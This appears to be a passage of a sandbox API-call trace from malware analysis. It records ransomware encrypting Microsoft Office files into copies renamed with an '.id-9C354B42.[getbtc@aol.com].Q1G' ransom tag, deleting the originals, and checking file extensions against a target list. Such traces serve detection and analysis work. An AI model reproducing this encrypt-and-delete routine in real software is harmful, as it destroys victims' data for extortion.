[0250.034] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.034] SetEndOfFile (hFile=0x390) returned 1 [0250.036] CloseHandle (hObject=0x390) returned 1 [0250.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.037] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt")) returned 1 [0250.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0250.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0250.037] lstrlenW (lpString=".doc") returned 4 [0250.037] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0250.037] lstrlenW (lpString=".docx") returned 5 [0250.037] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0250.037] lstrlenW (lpString=".pdf") returned 4 [0250.037] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0250.037] lstrlenW (lpString=".xls") returned 4 [0250.037] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0250.037] lstrlenW (lpString=".xlsx") returned 5 [0250.037] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0250.037] lstrlenW (lpString=".ppt") returned 4 [0250.037] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0250.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0250.037] lstrlenW (lpString=".zip") returned 4 [0250.037] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0250.037] lstrlenW (lpString=".rar") returned 4 [0250.037] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0250.037] lstrlenW (lpString=".bz2") returned 4 [0250.037] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0250.038] lstrlenW (lpString=".7z") returned 3 [0250.038] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0250.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0250.038] lstrlenW (lpString=".dbf") returned 4 [0250.038] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0250.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0250.038] lstrlenW (lpString=".1cd") returned 4 [0250.038] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0250.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0250.038] lstrlenW (lpString=".jpg") returned 4 [0250.038] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0250.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0250.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0250.038] lstrlenW (lpString=".doc") returned 4 [0250.038] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0250.038] lstrlenW (lpString=".docx") returned 5 [0250.038] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0250.038] lstrlenW (lpString=".pdf") returned 4 [0250.038] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0250.038] lstrlenW (lpString=".xls") returned 4 [0250.038] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0250.038] lstrlenW (lpString=".xlsx") returned 5 [0250.038] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0250.038] lstrlenW (lpString=".ppt") returned 4 [0250.038] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0250.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0250.038] lstrlenW (lpString=".zip") returned 4 [0250.038] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0250.038] lstrlenW (lpString=".rar") returned 4 [0250.038] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0250.038] lstrlenW (lpString=".bz2") returned 4 [0250.038] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0250.038] lstrlenW (lpString=".7z") returned 3 [0250.038] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0250.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0250.038] lstrlenW (lpString=".dbf") returned 4 [0250.039] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0250.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0250.039] lstrlenW (lpString=".1cd") returned 4 [0250.039] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0250.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64 [0250.039] lstrlenW (lpString=".jpg") returned 4 [0250.039] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0250.039] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0250.039] lstrlenW (lpString="MSACCESS_F_COL.HXK") returned 18 [0250.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0250.039] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=114) returned 1 [0250.039] CloseHandle (hObject=0x390) returned 1 [0250.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk")) returned 0x20 [0250.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0250.040] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.040] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0250.040] GetLastError () returned 0x0 [0250.040] ReadFile (in: hFile=0x390, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x72, lpOverlapped=0x0) returned 1 [0250.041] WriteFile (in: hFile=0x398, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x80, lpOverlapped=0x0) returned 1 [0250.042] ReadFile (in: hFile=0x390, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.042] WriteFile (in: hFile=0x398, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0250.042] SetEndOfFile (hFile=0x398) returned 1 [0250.042] CloseHandle (hObject=0x398) returned 1 [0250.042] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.042] SetEndOfFile (hFile=0x390) returned 1 [0250.044] CloseHandle (hObject=0x390) returned 1 [0250.045] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.045] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk")) returned 1 [0250.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0250.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0250.045] lstrlenW (lpString=".doc") returned 4 [0250.045] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0250.045] lstrlenW (lpString=".docx") returned 5 [0250.045] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0250.045] lstrlenW (lpString=".pdf") returned 4 [0250.045] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0250.045] lstrlenW (lpString=".xls") returned 4 [0250.045] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0250.045] lstrlenW (lpString=".xlsx") returned 5 [0250.046] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0250.046] lstrlenW (lpString=".ppt") returned 4 [0250.046] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0250.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0250.046] lstrlenW (lpString=".zip") returned 4 [0250.046] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0250.046] lstrlenW (lpString=".rar") returned 4 [0250.046] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0250.046] lstrlenW (lpString=".bz2") returned 4 [0250.046] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0250.046] lstrlenW (lpString=".7z") returned 3 [0250.046] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0250.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0250.046] lstrlenW (lpString=".dbf") returned 4 [0250.046] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0250.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0250.046] lstrlenW (lpString=".1cd") returned 4 [0250.046] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0250.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0250.046] lstrlenW (lpString=".jpg") returned 4 [0250.046] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0250.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0250.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0250.046] lstrlenW (lpString=".doc") returned 4 [0250.046] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0250.046] lstrlenW (lpString=".docx") returned 5 [0250.046] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0250.046] lstrlenW (lpString=".pdf") returned 4 [0250.046] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0250.046] lstrlenW (lpString=".xls") returned 4 [0250.046] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0250.046] lstrlenW (lpString=".xlsx") returned 5 [0250.046] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0250.046] lstrlenW (lpString=".ppt") returned 4 [0250.046] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0250.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0250.046] lstrlenW (lpString=".zip") returned 4 [0250.047] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0250.047] lstrlenW (lpString=".rar") returned 4 [0250.047] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0250.047] lstrlenW (lpString=".bz2") returned 4 [0250.047] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0250.047] lstrlenW (lpString=".7z") returned 3 [0250.047] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0250.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0250.047] lstrlenW (lpString=".dbf") returned 4 [0250.047] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0250.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0250.047] lstrlenW (lpString=".1cd") returned 4 [0250.047] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0250.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66 [0250.047] lstrlenW (lpString=".jpg") returned 4 [0250.047] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0250.047] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0250.047] lstrlenW (lpString="MSACCESS_K_COL.HXK") returned 18 [0250.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0250.048] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=113) returned 1 [0250.048] CloseHandle (hObject=0x390) returned 1 [0250.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk")) returned 0x20 [0250.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0250.048] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.048] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0250.049] GetLastError () returned 0x0 [0250.049] ReadFile (in: hFile=0x390, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x71, lpOverlapped=0x0) returned 1 [0250.049] WriteFile (in: hFile=0x398, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x80, lpOverlapped=0x0) returned 1 [0250.050] ReadFile (in: hFile=0x390, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.050] WriteFile (in: hFile=0x398, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0250.050] SetEndOfFile (hFile=0x398) returned 1 [0250.050] CloseHandle (hObject=0x398) returned 1 [0250.051] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.051] SetEndOfFile (hFile=0x390) returned 1 [0250.053] CloseHandle (hObject=0x390) returned 1 [0250.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.053] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk")) returned 1 [0250.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0250.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0250.054] lstrlenW (lpString=".doc") returned 4 [0250.054] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0250.054] lstrlenW (lpString=".docx") returned 5 [0250.054] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0250.054] lstrlenW (lpString=".pdf") returned 4 [0250.054] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0250.054] lstrlenW (lpString=".xls") returned 4 [0250.054] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0250.054] lstrlenW (lpString=".xlsx") returned 5 [0250.054] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0250.054] lstrlenW (lpString=".ppt") returned 4 [0250.054] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0250.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0250.054] lstrlenW (lpString=".zip") returned 4 [0250.054] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0250.054] lstrlenW (lpString=".rar") returned 4 [0250.054] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0250.054] lstrlenW (lpString=".bz2") returned 4 [0250.054] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0250.054] lstrlenW (lpString=".7z") returned 3 [0250.054] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0250.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0250.054] lstrlenW (lpString=".dbf") returned 4 [0250.054] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0250.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0250.054] lstrlenW (lpString=".1cd") returned 4 [0250.054] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0250.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0250.054] lstrlenW (lpString=".jpg") returned 4 [0250.054] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0250.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0250.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0250.055] lstrlenW (lpString=".doc") returned 4 [0250.055] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0250.055] lstrlenW (lpString=".docx") returned 5 [0250.055] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0250.055] lstrlenW (lpString=".pdf") returned 4 [0250.055] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0250.055] lstrlenW (lpString=".xls") returned 4 [0250.055] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0250.055] lstrlenW (lpString=".xlsx") returned 5 [0250.055] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0250.055] lstrlenW (lpString=".ppt") returned 4 [0250.055] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0250.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0250.055] lstrlenW (lpString=".zip") returned 4 [0250.055] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0250.055] lstrlenW (lpString=".rar") returned 4 [0250.055] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0250.055] lstrlenW (lpString=".bz2") returned 4 [0250.055] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0250.055] lstrlenW (lpString=".7z") returned 3 [0250.055] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0250.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0250.055] lstrlenW (lpString=".dbf") returned 4 [0250.055] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0250.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0250.055] lstrlenW (lpString=".1cd") returned 4 [0250.055] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0250.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66 [0250.055] lstrlenW (lpString=".jpg") returned 4 [0250.055] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0250.055] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0250.056] lstrlenW (lpString="MSAIN.DLL") returned 9 [0250.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msain.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0250.056] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=1212288) returned 1 [0250.056] CloseHandle (hObject=0x390) returned 1 [0250.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msain.dll")) returned 0x20 [0250.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msain.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msain.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0250.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0250.056] lstrlenW (lpString=".doc") returned 4 [0250.056] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0250.056] lstrlenW (lpString=".docx") returned 5 [0250.056] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0250.057] lstrlenW (lpString=".pdf") returned 4 [0250.057] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0250.057] lstrlenW (lpString=".xls") returned 4 [0250.057] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0250.057] lstrlenW (lpString=".xlsx") returned 5 [0250.057] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0250.057] lstrlenW (lpString=".ppt") returned 4 [0250.057] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0250.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0250.057] lstrlenW (lpString=".zip") returned 4 [0250.057] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0250.057] lstrlenW (lpString=".rar") returned 4 [0250.057] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0250.057] lstrlenW (lpString=".bz2") returned 4 [0250.057] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0250.057] lstrlenW (lpString=".7z") returned 3 [0250.057] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0250.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0250.057] lstrlenW (lpString=".dbf") returned 4 [0250.057] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0250.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0250.057] lstrlenW (lpString=".1cd") returned 4 [0250.057] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0250.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0250.057] lstrlenW (lpString=".jpg") returned 4 [0250.057] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0250.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0250.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSAIN.DLL") returned 57 [0250.057] lstrlenW (lpString=".doc") returned 4 [0250.925] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0250.928] lstrlenW (lpString=".docx") returned 5 [0250.929] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0250.936] lstrlenW (lpString=".pdf") returned 4 [0250.937] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0250.940] lstrlenW (lpString=".xls") returned 4 [0250.941] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0250.946] lstrlenW (lpString=".xlsx") returned 5 [0250.947] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0250.950] lstrlenW (lpString=".ppt") 